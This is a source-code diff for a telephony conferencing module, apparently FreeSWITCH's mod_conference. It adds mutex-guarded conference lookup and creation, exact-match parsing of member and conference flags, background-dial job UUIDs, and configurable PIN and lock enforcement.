-				/* Setup a memory pool to use. */
-				if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Pool Failure\n");
-					goto done;
+				if ((new_conference = conference_find(conf_name))) {
+					if (locked) {
+						switch_mutex_unlock(globals.setup_mutex);
+						locked = 0;
+					}
 				}
 
-				switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
-				switch_assert(params);
-				switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "conf_name", conf_name);
-				switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "profile_name", profile_name);
-				switch_channel_event_set_data(channel, params);
+				if (!(new_conference = conference_find(conf_name))) {
+					/* build a new conference if it doesn't exist */
+					switch_memory_pool_t *pool = NULL;
+					conf_xml_cfg_t xml_cfg = { 0 };
 
-				/* Open the config from the xml registry  */
-				if (!(cxml = switch_xml_open_cfg(global_cf_name, &cfg, params))) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", global_cf_name);
-					goto done;
-				}
+					/* Setup a memory pool to use. */
+					if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Pool Failure\n");
+						goto done;
+					}
 
-				if ((profiles = switch_xml_child(cfg, "profiles"))) {
-					xml_cfg.profile = switch_xml_find_child(profiles, "profile", "name", profile_name);
-				}
+					switch_event_create(&params, SWITCH_EVENT_REQUEST_PARAMS);
+					switch_assert(params);
+					switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "conf_name", conf_name);
+					switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "profile_name", profile_name);
+					switch_channel_event_set_data(channel, params);
 
-				if (!xml_cfg.profile) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot find profile: %s\n", profile_name);
-					switch_xml_free(cxml);
-					cxml = NULL;
-					goto done;
-				}
+					/* Open the config from the xml registry  */
+					if (!(cxml = switch_xml_open_cfg(global_cf_name, &cfg, params))) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Open of %s failed\n", global_cf_name);
+						goto done;
+					}
 
-				xml_cfg.controls = switch_xml_child(cfg, "caller-controls");
+					if ((profiles = switch_xml_child(cfg, "profiles"))) {
+						xml_cfg.profile = switch_xml_find_child(profiles, "profile", "name", profile_name);
+					}
 
-				/* Release the config registry handle */
-				if (cxml) {
-					switch_xml_free(cxml);
-					cxml = NULL;
-				}
+					xml_cfg.controls = switch_xml_child(cfg, "caller-controls");
 
-				/* Create the conference object. */
-				new_conference = conference_new(conf_name, xml_cfg, pool);
+					/* Release the config registry handle */
+					if (cxml) {
+						switch_xml_free(cxml);
+						cxml = NULL;
+					}
 
-				if (!new_conference) {
-					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
-					if (pool != NULL) {
-						switch_core_destroy_memory_pool(&pool);
+					/* Create the conference object. */
+					new_conference = conference_new(conf_name, xml_cfg, pool);
+
+					if (!new_conference) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
+						if (pool != NULL) {
+							switch_core_destroy_memory_pool(&pool);
+						}
+						goto done;
 					}
-					goto done;
-				}
 
-				/* Set the minimum number of members (once you go above it you cannot go below it) */
-				new_conference->min = 1;
+					if (locked) {
+						switch_mutex_unlock(globals.setup_mutex);
+						locked = 0;
+					}
 
-				/* Indicate the conference is dynamic */
-				switch_set_flag_locked(new_conference, CFLAG_DYNAMIC);
+					/* Set the minimum number of members (once you go above it you cannot go below it) */
+					new_conference->min = 1;
 
-				switch_mutex_lock(new_conference->mutex);
+					/* Indicate the conference is dynamic */
+					switch_set_flag_locked(new_conference, CFLAG_DYNAMIC);
 
-				/* Start the conference thread for this conference */
-				launch_conference_thread(new_conference);
-			} else {
-				switch_mutex_lock(new_conference->mutex);
+					switch_mutex_lock(new_conference->mutex);
+
+					/* Start the conference thread for this conference */
+					launch_conference_thread(new_conference);
+				} else {
+					switch_mutex_lock(new_conference->mutex);
+				}
 			}
 
 			/* move the member from the old conference to the new one */
-			switch_mutex_lock(member->flag_mutex);
-			conference_del_member(conference, member);
-			conference_add_member(new_conference, member);
+			switch_mutex_lock(member->control_mutex);
+			if (conference != new_conference) {
+				conference_del_member(conference, member);
+				conference_add_member(new_conference, member);
 
-			if (conference->rate != new_conference->rate) {
-				if(setup_media(member, new_conference)) {
-					switch_clear_flag_locked(member, MFLAG_RUNNING);
-				} else {
-					switch_channel_set_flag(channel, CF_SERVICE);
-					switch_set_flag(member, MFLAG_RESTART);
+				if (conference->rate != new_conference->rate) {
+					if (setup_media(member, new_conference)) {
+						switch_clear_flag_locked(member, MFLAG_RUNNING);
+					} else {
+						switch_channel_set_app_flag(channel, CF_APP_TAGGED);
+						switch_set_flag_locked(member, MFLAG_RESTART);
+					}
 				}
 			}
 
-			switch_mutex_unlock(new_conference->mutex);
-			switch_mutex_unlock(member->flag_mutex);
-
+			switch_mutex_unlock(member->control_mutex);
 			
 			stream->write_function(stream, "OK Member '%d' sent to conference %s.\n", member->id, argv[2]);
 
@@ -3701,11 +3967,22 @@
 				switch_event_fire(&event);
 			}
 		}
+
+		if (new_conference) {
+			switch_mutex_unlock(new_conference->mutex);
+		}
+
 	} else {
 		ret_status = SWITCH_STATUS_GENERR;
 	}
 
   done:
+	
+	if (locked) {
+		switch_mutex_unlock(globals.setup_mutex);
+		locked = 0;
+	}
+
 	if (params) {
 		switch_event_destroy(&params);
 	}
@@ -3890,7 +4167,7 @@
 						}
 
 						/* exec functio on last (oldest) member */
-						if (last_member != NULL) {
+						if (last_member != NULL && last_member->session && !switch_test_flag(last_member, MFLAG_NOCHANNEL)) {
 							conf_api_member_cmd_t pfn = (conf_api_member_cmd_t) conf_api_sub_commands[i].pfnapicmd;
 							pfn(last_member, stream, argv[argn + 2]);
 						}
@@ -3981,7 +4258,7 @@
 	if (argc && argv[0]) {
 		conference_obj_t *conference = NULL;
 
-		if ((conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, argv[0]))) {
+		if ((conference = conference_find(argv[0]))) {
 			if (switch_thread_rwlock_tryrdlock(conference->rwlock) != SWITCH_STATUS_SUCCESS) {
 				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Read Lock Fail\n");
 				goto done;
@@ -4006,7 +4283,7 @@
 					/* command returned error, so show syntax usage */
 					stream->write_function(stream, conf_api_sub_commands[CONF_API_COMMAND_DIAL].psyntax);
 				}
-			} else if (strcasecmp(argv[0], "bgdial") == 0) {
+			} else if (argv[1] && strcasecmp(argv[1], "bgdial") == 0) {
 				if (conf_api_sub_bgdial(NULL, stream, argc, argv) != SWITCH_STATUS_SUCCESS) {
 					/* command returned error, so show syntax usage */
 					stream->write_function(stream, conf_api_sub_commands[CONF_API_COMMAND_BGDIAL].psyntax);
@@ -4024,7 +4301,6 @@
 	switch_safe_free(lbuf);
 
 	return status;
-
 }
 
 /* generate an outbound call from the conference */
@@ -4152,6 +4428,8 @@
 	char *cid_name;
 	char *cid_num;
 	char *conference_name;
+	char *uuid;
+	switch_memory_pool_t *pool;
 };
 
 static void *SWITCH_THREAD_FUNC conference_outcall_run(switch_thread_t *thread, void *obj)
@@ -4161,15 +4439,16 @@
 	if (call) {
 		switch_call_cause_t cause;
 		switch_event_t *event;
-
+		
 		conference_outcall(call->conference, call->conference_name,
 						   call->session, call->bridgeto, call->timeout, call->flags, call->cid_name, call->cid_num, &cause);
 
-		if (test_eflag(call->conference, EFLAG_BGDIAL_RESULT) &&
+		if (call->conference && test_eflag(call->conference, EFLAG_BGDIAL_RESULT) &&
 			switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
 			conference_add_event_data(call->conference, event);
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "bgdial-result");
 			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Result", switch_channel_cause2str(cause));
+			switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Job-UUID", call->uuid);
 			switch_event_fire(&event);
 		}
 		switch_safe_free(call->bridgeto);
@@ -4177,6 +4456,10 @@
 		switch_safe_free(call->cid_name);
 		switch_safe_free(call->cid_num);
 		switch_safe_free(call->conference_name);
+		switch_safe_free(call->uuid);
+		if (call->pool) {
+			switch_core_destroy_memory_pool(&call->pool);
+		}
 		switch_safe_free(call);
 	}
 
@@ -4186,11 +4469,12 @@
 static switch_status_t conference_outcall_bg(conference_obj_t *conference,
 											 char *conference_name,
 											 switch_core_session_t *session, char *bridgeto, uint32_t timeout, const char *flags, const char *cid_name,
-											 const char *cid_num)
+											 const char *cid_num, const char *call_uuid)
 {
 	struct bg_call *call = NULL;
 	switch_thread_t *thread;
 	switch_threadattr_t *thd_attr = NULL;
+	switch_memory_pool_t *pool = NULL;
 
 	if (!(call = malloc(sizeof(*call))))
 		return SWITCH_STATUS_MEMERR;
@@ -4200,6 +4484,13 @@
 	call->session = session;
 	call->timeout = timeout;
 
+	if (conference) {
+		pool = conference->pool;
+	} else {
+		switch_core_new_memory_pool(&pool);
+		call->pool = pool;
+	}
+
 	if (bridgeto) {
 		call->bridgeto = strdup(bridgeto);
 	}
@@ -4216,11 +4507,15 @@
 	if (conference_name) {
 		call->conference_name = strdup(conference_name);
 	}
+	
+	if (call_uuid) {
+		call->uuid = strdup(call_uuid);
+	}
 
-	switch_threadattr_create(&thd_attr, conference->pool);
+	switch_threadattr_create(&thd_attr, pool);
 	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
-	switch_thread_create(&thread, thd_attr, conference_outcall_run, call, conference->pool);
+	switch_thread_create(&thread, thd_attr, conference_outcall_run, call, pool);
 	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Launching BG Thread for outcall\n");
 
 	return SWITCH_STATUS_SUCCESS;
@@ -4289,27 +4584,75 @@
 	return status;
 }
 
-static void set_mflags(char *flags, member_flag_t *f)
+static void set_mflags(const char *flags, member_flag_t *f)
 {
 	if (flags) {
-		if (strstr(flags, "mute")) {
-			*f &= ~MFLAG_CAN_SPEAK;
+		char *dup = strdup(flags);
+		char *p;
+		char *argv[10] = { 0 };
+		int i, argc = 0;
+
+		for(p = dup; p && *p; p++) {
+			if (*p == ',') {
+				*p = '|';
+			}
 		}
 
-		if (strstr(flags, "deaf")) {
-			*f &= ~MFLAG_CAN_HEAR;
+		argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
+
+		for(i = 0; i < argc && argv[i]; i++) {
+			if (!strcasecmp(argv[i], "mute")) {
+				*f &= ~MFLAG_CAN_SPEAK;
+			} else if (!strcasecmp(argv[i], "deaf")) {
+				*f &= ~MFLAG_CAN_HEAR;
+			} else if (!strcasecmp(argv[i], "waste")) {
+				*f |= MFLAG_WASTE_BANDWIDTH;
+			} else if (!strcasecmp(argv[i], "mute-detect")) {
+				*f |= MFLAG_MUTE_DETECT;
+			} else if (!strcasecmp(argv[i], "dist-dtmf")) {
+				*f |= MFLAG_DIST_DTMF;
+			} else if (!strcasecmp(argv[i], "moderator")) {
+				*f |= MFLAG_MOD;
+			} else if (!strcasecmp(argv[i], "endconf")) {
+				*f |= MFLAG_ENDCONF;
+			} else if (!strcasecmp(argv[i], "mintwo")) {
+				*f |= MFLAG_MINTWO;
+			}
 		}
 
-		if (strstr(flags, "waste")) {
-			*f |= MFLAG_WASTE_BANDWIDTH;
+		free(dup);
+	}
+}
+
+
+
+static void set_cflags(const char *flags, uint32_t *f)
+{
+	if (flags) {
+		char *dup = strdup(flags);
+		char *p;
+		char *argv[10] = { 0 };
+		int i, argc = 0;
+
+		for(p = dup; p && *p; p++) {
+			if (*p == ',') {
+				*p = '|';
+			}
 		}
 
-		if (strstr(flags, "endconf")) {
-			*f |= MFLAG_ENDCONF;
+		argc = switch_separate_string(dup, '|', argv, (sizeof(argv) / sizeof(argv[0])));
+
+		for(i = 0; i < argc && argv[i]; i++) {
+			if (!strcasecmp(argv[i], "wait-mod")) {
+				*f |= CFLAG_WAIT_MOD;
+			}
 		}
+
+		free(dup);
 	}
 }
 
+
 static void clear_eflags(char *events, uint32_t *f)
 {
 	char buf[512] = "";
@@ -4341,6 +4684,8 @@
 				*f &= ~EFLAG_STOP_TALKING;
 			} else if (!strcmp(event, "start-talking")) {
 				*f &= ~EFLAG_START_TALKING;
+			} else if (!strcmp(event, "mute-detect")) {
+				*f &= ~EFLAG_MUTE_DETECT;
 			} else if (!strcmp(event, "mute-member")) {
 				*f &= ~EFLAG_MUTE_MEMBER;
 			} else if (!strcmp(event, "unmute-member")) {
@@ -4408,12 +4753,12 @@
 
 static int setup_media(conference_member_t *member, conference_obj_t *conference)
 {
-	switch_codec_t *read_codec;
+	switch_codec_implementation_t read_impl = {0};
+	switch_core_session_get_read_impl(member->session, &read_impl);
 
-	
 	switch_core_session_reset(member->session, SWITCH_TRUE, SWITCH_FALSE);
 
-	if (member->read_codec.implementation) {
+	if (switch_core_codec_ready(&member->read_codec)) {
 		switch_core_codec_destroy(&member->read_codec);
 	}
 
@@ -4421,22 +4766,22 @@
 		switch_resample_destroy(&member->read_resampler);
 	}
 
-	read_codec = switch_core_session_get_read_codec(member->session);
-	member->orig_read_codec = read_codec;
-	member->native_rate = read_codec->implementation->samples_per_second;
 
+	switch_core_session_get_read_impl(member->session, &member->orig_read_impl);
+	member->native_rate = read_impl.samples_per_second;
+
 	/* Setup a Signed Linear codec for reading audio. */
 	if (switch_core_codec_init(&member->read_codec,
 							   "L16",
-							   NULL, read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000,
+							   NULL, read_impl.actual_samples_per_second, read_impl.microseconds_per_packet / 1000,
 							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, member->pool) == SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
 						  "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
-						  read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
+						  read_impl.actual_samples_per_second, read_impl.microseconds_per_packet / 1000);
 
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activation Failed L16@%uhz 1 channel %dms\n",
-						  read_codec->implementation->actual_samples_per_second, read_codec->implementation->microseconds_per_packet / 1000);
+						  read_impl.actual_samples_per_second, read_impl.microseconds_per_packet / 1000);
 
 		goto done;
 	}
@@ -4447,10 +4792,10 @@
 		member->mux_frame = switch_core_alloc(member->pool, member->frame_size);
 	}
 
-	if (read_codec->implementation->actual_samples_per_second != conference->rate) {
+	if (read_impl.actual_samples_per_second != conference->rate) {
 		if (switch_resample_create(&member->read_resampler,
-								   read_codec->implementation->actual_samples_per_second,
-								   member->frame_size, conference->rate, member->frame_size, member->pool) != SWITCH_STATUS_SUCCESS) {
+								   read_impl.actual_samples_per_second,
+								   conference->rate, member->frame_size, SWITCH_RESAMPLE_QUALITY, 1) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Unable to create resampler!\n");
 			goto done;
 		}
@@ -4473,14 +4818,14 @@
 							   "L16",
 							   NULL,
 							   conference->rate,
-							   read_codec->implementation->microseconds_per_packet / 1000,
+							   read_impl.microseconds_per_packet / 1000,
 							   1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL, member->pool) == SWITCH_STATUS_SUCCESS) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
 						  "Raw Codec Activation Success L16@%uhz 1 channel %dms\n",
-						  conference->rate, read_codec->implementation->microseconds_per_packet / 1000);
+						  conference->rate, read_impl.microseconds_per_packet / 1000);
 	} else {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Raw Codec Activation Failed L16@%uhz 1 channel %dms\n",
-						  conference->rate, read_codec->implementation->microseconds_per_packet / 1000);
+						  conference->rate, read_impl.microseconds_per_packet / 1000);
 		goto codec_done2;
 	}
 
@@ -4525,13 +4870,14 @@
 	char *bridgeto = NULL;
 	char *profile_name = NULL;
 	switch_xml_t cxml = NULL, cfg = NULL, profiles = NULL;
-	char *flags_str;
+	const char *flags_str;
 	member_flag_t mflags = 0;
 	switch_core_session_message_t msg = { 0 };
 	uint8_t rl = 0, isbr = 0;
 	char *dpin = NULL;
 	conf_xml_cfg_t xml_cfg = { 0 };
 	switch_event_t *params = NULL;
+	int locked = 0;
 
 	/* Save the original read codec. */
 	if (!(read_codec = switch_core_session_get_read_codec(session))) {
@@ -4554,12 +4900,13 @@
 
 	if ((flags_str = strstr(mydata, flags_prefix))) {
 		char *p;
-
-		*flags_str = '\0';
+		*((char *)flags_str) = '\0';
 		flags_str += strlen(flags_prefix);
 		if ((p = strchr(flags_str, '}'))) {
 			*p = '\0';
 		}
+	} else {
+		flags_str = switch_channel_get_variable(channel, "conference_member_flags");
 	}
 
 	/* is this a bridging conference ? */
@@ -4576,6 +4923,11 @@
 
 	conf_name = mydata;
 
+	/* eat all leading spaces on conference name, which can cause problems */
+	while (*conf_name == ' ') {
+		conf_name++;
+	}
+
 	/* is there a conference pin ? */
 	if ((dpin = strchr(conf_name, '+'))) {
 		*dpin++ = '\0';
@@ -4587,7 +4939,7 @@
 	} else {
 		profile_name = "default";
 	}
-
+	
 #if 0
 	if (0) {
 		member.dtmf_parser = conference->dtmf_parser;
@@ -4611,17 +4963,16 @@
 		xml_cfg.profile = switch_xml_find_child(profiles, "profile", "name", profile_name);
 	}
 
-	if (!xml_cfg.profile) {
-		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Cannot find profile: %s\n", profile_name);
-		switch_xml_free(cxml);
-		cxml = NULL;
-		goto done;
-	}
-
 	xml_cfg.controls = switch_xml_child(cfg, "caller-controls");
 
 	/* if this is a bridging call, and it's not a duplicate, build a */
 	/* conference object, and skip pin handling, and locked checking */
+
+	if (!locked) {
+		switch_mutex_lock(globals.setup_mutex);
+		locked = 1;
+	}
+
 	if (isbr) {
 		char *uuid = switch_core_session_get_uuid(session);
 
@@ -4629,7 +4980,7 @@
 			conf_name = uuid;
 		}
 
-		if ((conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, conf_name))) {
+		if ((conference = conference_find(conf_name))) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Conference %s already exists!\n", conf_name);
 			goto done;
 		}
@@ -4638,44 +4989,68 @@
 		conference = conference_new(conf_name, xml_cfg, NULL);
 
 		if (!conference) {
-			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
 			goto done;
 		}
 
+		if (locked) {
+			switch_mutex_unlock(globals.setup_mutex);
+			locked = 0;
+		}
+
 		switch_channel_set_variable(channel, "conference_name", conference->name);
 
 		/* Set the minimum number of members (once you go above it you cannot go below it) */
 		conference->min = 2;
 
-		/* if the dialplan specified a pin, override the profile's value */
-		if (dpin) {
-			conference->pin = switch_core_strdup(conference->pool, dpin);
-		}
-
 		/* Indicate the conference is dynamic */
 		switch_set_flag_locked(conference, CFLAG_DYNAMIC);
 
+		/* Indicate the conference has a bridgeto party */
+		switch_set_flag_locked(conference, CFLAG_BRIDGE_TO);
+
 		/* Start the conference thread for this conference */
 		launch_conference_thread(conference);
 
 	} else {
+		int enforce_security = !switch_channel_test_flag(channel, CF_OUTBOUND);
+		const char *pvar = switch_channel_get_variable(channel, "conference_enforce_security");
+
+		if (pvar) {
+			enforce_security = switch_true(pvar);
+		}
+
+		if ((conference = conference_find(conf_name))) {
+			if (locked) {
+				switch_mutex_unlock(globals.setup_mutex);
+				locked = 0;
+			}
+		}
+
 		/* if the conference exists, get the pointer to it */
-		if (!(conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, conf_name))) {
+		if (!conference) {
 			/* couldn't find the conference, create one */
 			conference = conference_new(conf_name, xml_cfg, NULL);
-
+			
 			if (!conference) {
-				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
 				goto done;
 			}
 
-			/* if the dialplan specified a pin, override the profile's value */
-			if (dpin) {
-				conference->pin = switch_core_strdup(conference->pool, dpin);
+			if (locked) {
+				switch_mutex_unlock(globals.setup_mutex);
+				locked = 0;
 			}
-		
+
 			switch_channel_set_variable(channel, "conference_name", conference->name);
 
+			/* Set MOH from variable if not set */
+			if(switch_strlen_zero(conference->moh_sound)) {
+				conference->moh_sound = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "conference_moh_sound"));
+			}
+			/* Set perpetual-sound from variable if not set */
+			if(switch_strlen_zero(conference->perpetual_sound)) {
+				conference->perpetual_sound = switch_core_strdup(conference->pool, switch_channel_get_variable(channel, "conference_perpetual_sound"));
+			}
+			
 			/* Set the minimum number of members (once you go above it you cannot go below it) */
 			conference->min = 1;
 
@@ -4695,8 +5070,14 @@
 		}
 		rl++;
 
+		if (!dpin && conference->pin) {
+			dpin = conference->pin;
+		}
+
+
+
 		/* if this is not an outbound call, deal with conference pins */
-		if (!switch_channel_test_flag(channel, CF_OUTBOUND) && conference->pin && *(conference->pin)) {
+		if (enforce_security && !switch_strlen_zero(dpin)) {
 			char pin_buf[80] = "";
 			int pin_retries = 3;	/* XXX - this should be configurable - i'm too lazy to do it right now... */
 			int pin_valid = 0;
@@ -4704,28 +5085,47 @@
 
 			/* Answer the channel */
 			switch_channel_answer(channel);
+			
+			if (!conference->pin_sound) {
+				conference->pin_sound = switch_core_strdup(conference->pool, "conference/conf-pin.wav");
+			}
 
+			if (!conference->bad_pin_sound) {
+				conference->bad_pin_sound = switch_core_strdup(conference->pool, "conference/conf-bad-pin.wav");
+			}
+
 			while (!pin_valid && pin_retries && status == SWITCH_STATUS_SUCCESS) {
-
+				switch_status_t pstatus = SWITCH_STATUS_FALSE;
+				
 				/* be friendly */
 				if (conference->pin_sound) {
-					conference_local_play_file(conference, session, conference->pin_sound, 20, pin_buf, sizeof(pin_buf));
+					pstatus = conference_local_play_file(conference, session, conference->pin_sound, 20, pin_buf, sizeof(pin_buf));
+				} else if (conference->tts_engine && conference->tts_voice) {
+					pstatus = switch_ivr_speak_text(session, conference->tts_engine, conference->tts_voice, "please enter the conference pin number", NULL);
+				} else {
+					pstatus = switch_ivr_speak_text(session, "flite", "slt", "please enter the conference pin number", NULL);
 				}
+				
+				if (pstatus != SWITCH_STATUS_SUCCESS && pstatus != SWITCH_STATUS_BREAK) {
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot ask the user for a pin, ending call");
+					switch_channel_hangup(channel, SWITCH_CAUSE_DESTINATION_OUT_OF_ORDER);
+				}
+
 				/* wait for them if neccessary */
-				if (strlen(pin_buf) < strlen(conference->pin)) {
+				if (strlen(pin_buf) < strlen(dpin)) {
 					char *buf = pin_buf + strlen(pin_buf);
 					char term = '\0';
-
+					
 					status = switch_ivr_collect_digits_count(session,
 															 buf,
 															 sizeof(pin_buf) - strlen(pin_buf),
-															 strlen(conference->pin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
+															 strlen(dpin) - strlen(pin_buf), "#", &term, 10000, 0, 0);
 					if (status == SWITCH_STATUS_TIMEOUT) {
 						status = SWITCH_STATUS_SUCCESS;
 					}
 				}
 
-				pin_valid = (status == SWITCH_STATUS_SUCCESS && strcmp(pin_buf, conference->pin) == 0);
+				pin_valid = (status == SWITCH_STATUS_SUCCESS && strcmp(pin_buf, dpin) == 0);
 				if (!pin_valid) {
 					/* zero the collected pin */
 					memset(pin_buf, 0, sizeof(pin_buf));
@@ -4748,7 +5148,7 @@
 		}
 
 		/* don't allow more callers if the conference is locked, unless we invited them */
-		if (switch_test_flag(conference, CFLAG_LOCKED) && !switch_channel_test_flag(channel, CF_OUTBOUND)) {
+		if (switch_test_flag(conference, CFLAG_LOCKED) && enforce_security) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Conference %s is locked.\n", conf_name);
 			if (conference->locked_sound) {
 				/* Answer the channel */
@@ -4804,6 +5204,7 @@
 	/* Prepare MUTEXS */
 	member.id = next_member_id();
 	switch_mutex_init(&member.flag_mutex, SWITCH_MUTEX_NESTED, member.pool);
+	switch_mutex_init(&member.control_mutex, SWITCH_MUTEX_NESTED, member.pool);
 	switch_mutex_init(&member.audio_in_mutex, SWITCH_MUTEX_NESTED, member.pool);
 	switch_mutex_init(&member.audio_out_mutex, SWITCH_MUTEX_NESTED, member.pool);
 
@@ -4815,6 +5216,10 @@
 	set_mflags(flags_str, &mflags);
 	switch_set_flag_locked((&member), MFLAG_RUNNING | mflags);
 
+	if (mflags & MFLAG_MINTWO) {
+		conference->min = 2;
+	}
+	
 	/* Add the caller to the conference */
 	if (conference_add_member(conference, &member) != SWITCH_STATUS_SUCCESS) {
 		switch_core_codec_destroy(&member.read_codec);
@@ -4845,6 +5250,11 @@
 
   done:
 
+	if (locked) {
+		switch_mutex_unlock(globals.setup_mutex);
+		locked = 0;
+	}
+
 	if (member.read_resampler) {
 		switch_resample_destroy(&member.read_resampler);
 	}
@@ -4911,7 +5321,6 @@
 	switch_threadattr_detach_set(thd_attr, 1);
 	switch_threadattr_stacksize_set(thd_attr, SWITCH_THREAD_STACKSIZE);
 	switch_mutex_lock(globals.hash_mutex);
-	switch_core_hash_insert(globals.conference_hash, conference->name, conference);
 	switch_mutex_unlock(globals.hash_mutex);
 	switch_thread_create(&thread, thd_attr, conference_thread_run, conference, conference->pool);
 }
@@ -4980,8 +5389,7 @@
 		switch_copy_string(name, to, sizeof(name));
 	}
 
-
-	if (!(conference = (conference_obj_t *) switch_core_hash_find(globals.conference_hash, name))) {
+	if (!(conference = conference_find(name))) {
 		switch_core_chat_send(proto, CONF_CHAT_PROTO, to, hint && strchr(hint, '/') ? hint : from, "", "Conference not active.", NULL, NULL);
 		return SWITCH_STATUS_FALSE;
 	}
@@ -5098,6 +5506,17 @@
 	return status;
 }
 
+static conference_obj_t *conference_find(char *name)
+{
+	conference_obj_t *conference;
+
+	switch_mutex_lock(globals.hash_mutex);
+	conference = switch_core_hash_find(globals.conference_hash, name);
+	switch_mutex_unlock(globals.hash_mutex);
+
+	return conference;
+}
+
 /* create a new conferene with a specific profile */
 static conference_obj_t *conference_new(char *name, conf_xml_cfg_t cfg, switch_memory_pool_t *pool)
 {
@@ -5114,6 +5533,7 @@
 	char *ack_sound = NULL;
 	char *nack_sound = NULL;
 	char *muted_sound = NULL;
+	char *mute_detect_sound = NULL;
 	char *unmuted_sound = NULL;
 	char *locked_sound = NULL;
 	char *is_locked_sound = NULL;
@@ -5127,6 +5547,7 @@
 	char *caller_id_number = NULL;
 	char *caller_controls = NULL;
 	char *member_flags = NULL;
+	char *conference_flags = NULL;
 	char *perpetual_sound = NULL;
 	char *moh_sound = NULL;
 	uint32_t max_members = 0;
@@ -5145,7 +5566,10 @@
 		return NULL;
 	}
 
+	switch_mutex_lock(globals.hash_mutex);
+
 	/* parse the profile tree for param values */
+	if (cfg.profile)
 	for (xml_kvp = switch_xml_child(cfg.profile, "param"); xml_kvp; xml_kvp = xml_kvp->next) {
 		char *var = (char *) switch_xml_attr_soft(xml_kvp, "name");
 		char *val = (char *) switch_xml_attr_soft(xml_kvp, "value");
@@ -5199,6 +5623,8 @@
 			nack_sound = val;
 		} else if (!strcasecmp(var, "muted-sound") && !switch_strlen_zero(val)) {
 			muted_sound = val;
+		} else if (!strcasecmp(var, "mute-detect-sound") && !switch_strlen_zero(val)) {
+			mute_detect_sound = val;
 		} else if (!strcasecmp(var, "unmuted-sound") && !switch_strlen_zero(val)) {
 			unmuted_sound = val;
 		} else if (!strcasecmp(var, "locked-sound") && !switch_strlen_zero(val)) {
@@ -5209,6 +5635,8 @@
 			is_unlocked_sound = val;
 		} else if (!strcasecmp(var, "member-flags") && !switch_strlen_zero(val)) {
 			member_flags = val;
+		} else if (!strcasecmp(var, "conference-flags") && !switch_strlen_zero(val)) {
+			conference_flags = val;
 		} else if (!strcasecmp(var, "kicked-sound") && !switch_strlen_zero(val)) {
 			kicked_sound = val;
 		} else if (!strcasecmp(var, "pin") && !switch_strlen_zero(val)) {
@@ -5285,7 +5713,8 @@
 		if (switch_core_new_memory_pool(&pool) != SWITCH_STATUS_SUCCESS) {
 			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Pool Failure\n");
 			status = SWITCH_STATUS_TERM;
-			return NULL;
+			conference = NULL;
+			goto end;
 		}
 	}
 
@@ -5293,12 +5722,13 @@
 	if (!(conference = switch_core_alloc(pool, sizeof(*conference)))) {
 		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Memory Error!\n");
 		status = SWITCH_STATUS_TERM;
-		return NULL;
+		conference = NULL;
+		goto end;
 	}
 
 	/* initialize the conference object with settings from the specified profile */
 	conference->pool = pool;
-	conference->profile_name = switch_core_strdup(conference->pool, switch_xml_attr_soft(cfg.profile, "name"));
+	conference->profile_name = switch_core_strdup(conference->pool, cfg.profile ? switch_xml_attr_soft(cfg.profile, "name") : "none");
 	if (timer_name) {
 		conference->timer_name = switch_core_strdup(conference->pool, timer_name);
